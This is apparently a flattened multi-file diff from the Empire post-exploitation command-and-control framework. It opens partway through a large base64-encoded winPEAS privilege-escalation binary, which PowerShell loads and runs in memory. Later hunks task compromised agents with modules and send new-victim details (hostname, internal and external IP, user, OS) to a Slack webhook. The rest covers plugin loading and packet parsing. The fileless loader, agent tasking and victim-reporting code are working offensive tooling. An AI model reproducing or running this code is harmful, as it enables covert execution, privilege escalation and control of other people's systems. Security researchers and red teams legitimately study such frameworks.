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AAAAAAAAAAAAAAAAAAAAAMADAAwAAAAkNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" | |
9 | $RAS = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64binary)) | |
10 | ||
11 | $OldConsoleOut = [Console]::Out | |
12 | $StringWriter = New-Object IO.StringWriter | |
13 | [Console]::SetOut($StringWriter) | |
14 | ||
15 | [winPEAS.Program]::Main($Command.Split(" ")) | |
16 | ||
17 | [Console]::SetOut($OldConsoleOut) | |
18 | $Results = $StringWriter.ToString() | |
19 | $Results | |
20 | ||
21 | } |
288 | 288 | |
289 | 289 | methods = ','.join(rule.methods) |
290 | 290 | url = url_for(rule.endpoint, **options) |
291 | line = urllib.unquote("[ { '" + rule.endpoint + "': [ { 'methods': '" + methods + "', 'url': '" + url + "' } ] } ]") | |
291 | line = urllib.parse.unquote("[ { '" + rule.endpoint + "': [ { 'methods': '" + methods + "', 'url': '" + url + "' } ] } ]") | |
292 | 292 | output.append(line) |
293 | 293 | |
294 | 294 | res = '' |
521 | 521 | |
522 | 522 | for agent in main.agents.get_agents(): |
523 | 523 | sessionID = agent[1] |
524 | taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, uid=g.user['id']) | |
524 | taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id']) | |
525 | 525 | msg = "tasked agent %s to run module %s" % (sessionID, module_name) |
526 | 526 | main.agents.save_agent_log(sessionID, msg) |
527 | 527 | |
530 | 530 | |
531 | 531 | else: |
532 | 532 | # set the agent's tasking in the cache |
533 | taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, uid=g.user['id']) | |
533 | taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData, moduleName=module_name, uid=g.user['id']) | |
534 | 534 | |
535 | 535 | # update the agent log |
536 | 536 | msg = "tasked agent %s to run module %s" %(sessionID, module_name) |
1520 | 1520 | |
1521 | 1521 | # signal to Slack that this agent is now active |
1522 | 1522 | |
1523 | slackToken = listenerOptions['SlackToken']['Value'] | |
1524 | slackChannel = listenerOptions['SlackChannel']['Value'] | |
1525 | if slackToken != "": | |
1526 | slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID) | |
1527 | helpers.slackMessage(slackToken,slackChannel,slackText) | |
1523 | slack_webhook_url = listenerOptions['SlackURL']['Value'] | |
1524 | if slack_webhook_url != "": | |
1525 | slack_text = ":biohazard_sign: NEW AGENT :biohazard_sign:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID) | |
1526 | helpers.slackMessage(slack_webhook_url,slack_text) | |
1528 | 1527 | |
1529 | 1528 | # signal everyone that this agent is now active |
1530 | 1529 | message = "[+] Initial agent {} from {} now active (Slack)".format(sessionID, clientIP) |
1585 | 1584 | dispatcher.send(signal, sender="empire") |
1586 | 1585 | return None |
1587 | 1586 | |
1587 | if isinstance(routingPacket, str): | |
1588 | routingPacket = routingPacket.encode('UTF-8') | |
1588 | 1589 | routingPacket = packets.parse_routing_packet(stagingKey, routingPacket) |
1589 | 1590 | if not routingPacket: |
1590 | 1591 | return [('', "ERROR: invalid routing packet")] |
14 | 14 | from builtins import range |
15 | 15 | from builtins import str |
16 | 16 | |
17 | VERSION = "3.3.4 BC-Security Fork" | |
17 | VERSION = "3.4.0 BC Security Fork" | |
18 | 18 | |
19 | 19 | from pydispatch import dispatcher |
20 | 20 | |
119 | 119 | self.resourceQueue = [] |
120 | 120 | #A hashtable of autruns based on agent language |
121 | 121 | self.autoRuns = {} |
122 | ||
123 | 122 | self.handle_args() |
123 | self.startup_plugins() | |
124 | 124 | |
125 | 125 | message = "[*] Empire starting up..." |
126 | 126 | signal = json.dumps({ |
190 | 190 | if self.args.debug == '2': |
191 | 191 | # if --debug 2, also print the output to the screen |
192 | 192 | print(" %s : %s" % (sender, signal)) |
193 | ||
194 | ||
193 | ||
194 | def startup_plugins(self): | |
195 | """ | |
196 | Load plugins at the start of Empire | |
197 | """ | |
198 | pluginPath = os.path.abspath("plugins") | |
199 | print(helpers.color("[*] Searching for plugins at {}".format(pluginPath))) | |
200 | ||
201 | # From walk_packages: "Note that this function must import all packages | |
202 | # (not all modules!) on the given path, in order to access the __path__ | |
203 | # attribute to find submodules." | |
204 | plugin_names = [name for _, name, _ in pkgutil.walk_packages([pluginPath])] | |
205 | ||
206 | for plugin_name in plugin_names: | |
207 | if plugin_name.lower() != 'example': | |
208 | print(helpers.color("[*] Plugin {} found.".format(plugin_name))) | |
209 | ||
210 | message = "[*] Loading plugin {}".format(plugin_name) | |
211 | signal = json.dumps({ | |
212 | 'print': False, | |
213 | 'message': message | |
214 | }) | |
215 | dispatcher.send(signal, sender="empire") | |
216 | plugins.load_plugin(self, plugin_name) | |
217 | ||
195 | 218 | def check_root(self): |
196 | 219 | """ |
197 | 220 | Check if Empire has been run as root, and alert user. |
283 | 306 | except Exception as e: |
284 | 307 | print(e) |
285 | 308 | print(helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName))) |
286 | ||
287 | # shutdown the database connection object | |
288 | if self.conn: | |
289 | self.conn.close() | |
290 | ||
309 | ||
310 | # Gracefully shutdown after launcher generation | |
311 | self.shutdown() | |
291 | 312 | sys.exit() |
292 | 313 | |
293 | 314 | |
306 | 327 | |
307 | 328 | # enumerate all active servers/listeners and shut them down |
308 | 329 | self.listeners.shutdown_listener('all') |
309 | ||
310 | # shutdown the database connection object | |
